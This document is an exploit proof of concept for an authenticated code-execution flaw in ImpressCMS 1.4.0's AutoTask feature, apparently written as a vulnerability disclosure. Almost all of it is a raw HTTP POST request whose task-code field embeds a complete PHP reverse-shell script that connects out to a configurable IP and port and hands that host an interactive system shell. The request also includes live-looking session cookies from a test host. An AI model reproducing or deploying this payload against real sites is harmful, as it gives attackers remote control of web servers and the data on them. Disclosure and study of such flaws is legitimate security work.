#Homepage: https://sourceforge.net/projects/impresscms/
#Affected Version: 1.4.0
#Remote Code Execution or Sql Injection
#Authenticated user can make use of the AutoTask feature to execute php code, it allow authenticated user execute their own php code, which can cause SQL Injection or Remote Code Execution
POST
/cms/modules/system/admin.php?fct=autotasks&op=mod&sat_id=14
HTTP/1.1
Host: 192.168.11.1:81
Content-Length: 7082
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.11.1:81
Content-Type: multipart/form-data;
boundary=----WebKitFormBoundaryZSOlMzHH5tT9EJQi
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116
Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer:
http://192.168.11.1:81/cms/modules/system/admin.php?fct=autotasks&op=mod&sat_id=14
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=kddcnhh2georidec71v0r7i2s1;
/cms/modules/content/admin/content.php_mod_content_Content_sortsel=content_title;
/cms/modules/content/admin/content.php_mod_content_Content_ordersel=ASC;
/cms/modules/content/admin/content.php_limitsel=15;
/cms/modules/content/admin/content.php_mod_content_Content_filtersel=default;
/cms/modules/banners/admin/banner.php_mod_banners_Banner_sortsel=banner_id;
/cms/modules/banners/admin/banner.php_mod_banners_Banner_ordersel=DESC;
/cms/modules/banners/admin/banner.php_limitsel=15;
/cms/modules/banners/admin/banner.php_mod_banners_Banner_filtersel=default;
/cms/modules/system/admin.php_SystemUserrank_sortsel=rank_title;
/cms/modules/system/admin.php_SystemUserrank_ordersel=ASC;
/cms/modules/system/admin.php_limitsel=15;
/cms/modules/system/admin.php_SystemUserrank_filtersel=default;
/cms/modules/system/admin.php_SystemBlocksadmin_sortsel=title;
/cms/modules/system/admin.php_SystemBlocksadmin_ordersel=ASC;
/cms/modules/system/admin.php_SystemBlocksadmin_filtersel=default;
/cms/modules/system/admin.php_SystemMimetype_sortsel=mimetypeid;
/cms/modules/system/admin.php_SystemMimetype_ordersel=ASC;
/cms/modules/system/admin.php_SystemMimetype_filtersel=default;
/cms/modules/profile/admin/pictures.php_mod_profile_Pictures_sortsel=pictures_id;
/cms/modules/profile/admin/pictures.php_mod_profile_Pictures_ordersel=DESC;
/cms/modules/profile/admin/pictures.php_limitsel=15;
/cms/modules/profile/admin/pictures.php_mod_profile_Pictures_filtersel=default;
/cms/modules/system/admin.php_SystemPages_sortsel=page_title;
/cms/modules/system/admin.php_SystemPages_ordersel=ASC;
/cms/modules/system/admin.php_SystemPages_filtersel=default;
/cms/modules/system/admin.php_SystemCustomtag_sortsel=name;
/cms/modules/system/admin.php_SystemCustomtag_ordersel=ASC;
/cms/modules/system/admin.php_SystemCustomtag_filtersel=default;
/cms/modules/system/admin.php_SystemRating_sortsel=rate;
/cms/modules/system/admin.php_SystemRating_ordersel=ASC;
/cms/modules/system/admin.php_SystemRating_filtersel=default;
/cms/modules/profile/admin/field.php_mod_profile_Field_sortsel=field_name;
/cms/modules/profile/admin/field.php_mod_profile_Field_ordersel=ASC;
/cms/modules/profile/admin/field.php_limitsel=15;
/cms/modules/profile/admin/field.php_mod_profile_Field_filtersel=default;
/cms/modules/profile/admin/regstep.php_mod_profile_Regstep_sortsel=step_name;
/cms/modules/profile/admin/regstep.php_mod_profile_Regstep_ordersel=ASC;
/cms/modules/profile/admin/regstep.php_limitsel=15;
/cms/modules/profile/admin/regstep.php_mod_profile_Regstep_filtersel=default;
/cms/modules/profile/admin/audio.php_mod_profile_Audio_sortsel=creation_time;
/cms/modules/profile/admin/audio.php_mod_profile_Audio_ordersel=DESC;
/cms/modules/profile/admin/audio.php_limitsel=15;
/cms/modules/profile/admin/audio.php_mod_profile_Audio_filtersel=default;
/cms/modules/system/admin.php_SystemBlockspadmin_sortsel=title;
/cms/modules/system/admin.php_SystemBlockspadmin_ordersel=ASC;
/cms/modules/system/admin.php_SystemBlockspadmin_filtersel=default;
/cms/modules/banners/admin/client.php_mod_banners_Client_sortsel=last_name;
/cms/modules/banners/admin/client.php_mod_banners_Client_ordersel=ASC;
/cms/modules/banners/admin/client.php_limitsel=15;
/cms/modules/banners/admin/client.php_mod_banners_Client_filtersel=default;
/cms/modules/banners/admin/position.php_mod_banners_Position_sortsel=title;
/cms/modules/banners/admin/position.php_mod_banners_Position_ordersel=ASC;
/cms/modules/banners/admin/position.php_limitsel=15;
/cms/modules/banners/admin/position.php_mod_banners_Position_filtersel=default;
/cms/modules/system/admin.php_SystemAdsense_sortsel=tag;
/cms/modules/system/admin.php_SystemAdsense_ordersel=ASC;
/cms/modules/system/admin.php_SystemAdsense_filtersel=default;
/cms/modules/system/admin.php_SystemAutotasks_sortsel=sat_name;
/cms/modules/system/admin.php_SystemAutotasks_ordersel=ASC;
/cms/modules/system/admin.php_SystemAutotasks_filtersel=default;
ICMSSESSION=7re23mi7u2r0blh6bu93rob6f5;
/cms/modules/profile/admin/category.php_mod_profile_Category_sortsel=cat_weight;
/cms/modules/profile/admin/category.php_mod_profile_Category_ordersel=ASC;
/cms/modules/profile/admin/category.php_limitsel=15;
/cms/modules/profile/admin/category.php_mod_profile_Category_filtersel=default;
/cms/modules/profile/admin/tribes.php_mod_profile_Tribes_sortsel=tribes_id;
/cms/modules/profile/admin/tribes.php_mod_profile_Tribes_ordersel=DESC;
/cms/modules/profile/admin/tribes.php_limitsel=15;
/cms/modules/profile/admin/tribes.php_mod_profile_Tribes_filtersel=default;
/cms/modules/profile/admin/tribeuser.php_mod_profile_Tribeuser_sortsel=tribeuser_id;
/cms/modules/profile/admin/tribeuser.php_mod_profile_Tribeuser_ordersel=ASC;
/cms/modules/profile/admin/tribeuser.php_limitsel=15;
/cms/modules/profile/admin/tribeuser.php_mod_profile_Tribeuser_filtersel=default;
/cms/modules/profile/admin/videos.php_mod_profile_Videos_sortsel=videos_id;
/cms/modules/profile/admin/videos.php_mod_profile_Videos_ordersel=DESC;
/cms/modules/profile/admin/videos.php_limitsel=15;
/cms/modules/profile/admin/videos.php_mod_profile_Videos_filtersel=default
Connection: close
------WebKitFormBoundaryZSOlMzHH5tT9EJQi
Content-Disposition: form-data; name="sat_id"
14
------WebKitFormBoundaryZSOlMzHH5tT9EJQi
Content-Disposition: form-data; name="sat_lastruntime"
1594343946
------WebKitFormBoundaryZSOlMzHH5tT9EJQi
Content-Disposition: form-data; name="sat_name"
------WebKitFormBoundaryZSOlMzHH5tT9EJQi
Content-Disposition: form-data; name="sat_code"
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007
//
// This tool may be used for legal purposes only. Users take full
responsibility
// for any actions performed using this tool. The author accepts no
liability
// for damage caused by this tool. If these terms are not
acceptable to you, then
// do not use this tool.
//
// In all other respects the GPL version 2 applies:
//
// This program is free software; you can redistribute it and/or
modify
// it under the terms of the GNU General Public License version 2
as
// published by the Free Software Foundation.
//
// This program is distributed in the hope that it will be
useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty
of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public
License along
// with this program; if not, write to the Free Software
Foundation, Inc.,
// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
//
// This tool may be used for legal purposes only. Users take full
responsibility
// for any actions performed using this tool. If these terms are
not acceptable to
// you, then do not use this tool.
//
// You are encouraged to send comments, improvements or suggestions
to
// me at
//
// Description
// -----------
// This script will make an outbound TCP connection to a hardcoded
IP and port.
// The recipient will be given a shell running as the current user
(apache normally).
//
// Limitations
// -----------
// proc_open and stream_set_blocking require PHP version 4.3+, or
5+
// Use of stream_select() on file descriptors returned by
proc_open() will fail and return FALSE under Windows.
// Some compile-time options are needed for daemonisation (like
pcntl, posix). These are rarely available.
//
// Usage
// -----
// See http://pentestmonkey.net/tools/php-reverse-shell if you get
stuck.
set_time_limit (0);
$VERSION = "1.0";
$ip = '127.0.0.1'; // CHANGE THIS
$port = 1234; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
//
// Daemonise ourself if possible to avoid zombies later
//
// pcntl_fork is hardly ever available, but will allow us to
daemonise
// our php process and avoid zombies. Worth a try...
if (function_exists('pcntl_fork')) {
// Fork and have the parent process exit
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
// Make the current process a session leader
// Will only succeed if we forked
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not
fatal.");
}
// Change to a safe directory
chdir("/");
// Remove any umask we inherited
umask(0);
//
// Do the reverse shell...
//
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
// Spawn shell process
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will
read from
1 => array("pipe", "w"), // stdout is a pipe that the child will
write to
2 => array("pipe", "w") // stderr is a pipe that the child will
write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select
tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
// Check for end of TCP connection
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
// Check for end of STDOUT
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
// Wait until a command is end down $sock, or some
// command output is available on STDOUT or STDERR
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a,
null);
// If we can read from the TCP socket, send
// data to process's STDIN
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
// If we can read from the process's STDOUT
// send data down tcp connection
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
// If we can read from the process's STDERR
// send data down tcp connection
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper
daemon)
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
------WebKitFormBoundaryZSOlMzHH5tT9EJQi
Content-Disposition: form-data; name="sat_repeat"
0
------WebKitFormBoundaryZSOlMzHH5tT9EJQi
Content-Disposition: form-data; name="sat_interval"
0
------WebKitFormBoundaryZSOlMzHH5tT9EJQi
Content-Disposition: form-data; name="sat_onfinish"
0
------WebKitFormBoundaryZSOlMzHH5tT9EJQi
Content-Disposition: form-data; name="sat_enabled"
1
------WebKitFormBoundaryZSOlMzHH5tT9EJQi
Content-Disposition: form-data; name="sat_type"
:custom
------WebKitFormBoundaryZSOlMzHH5tT9EJQi
Content-Disposition: form-data; name="sat_addon_id"
00
------WebKitFormBoundaryZSOlMzHH5tT9EJQi
Content-Disposition: form-data; name="icms_page_before_form"
http://192.168.11.1:81/cms/modules/system/admin.php?fct=autotasks
------WebKitFormBoundaryZSOlMzHH5tT9EJQi
Content-Disposition: form-data; name="op"
addautotasks
------WebKitFormBoundaryZSOlMzHH5tT9EJQi
Content-Disposition: form-data; name="modify_button"
Submit
------WebKitFormBoundaryZSOlMzHH5tT9EJQi--

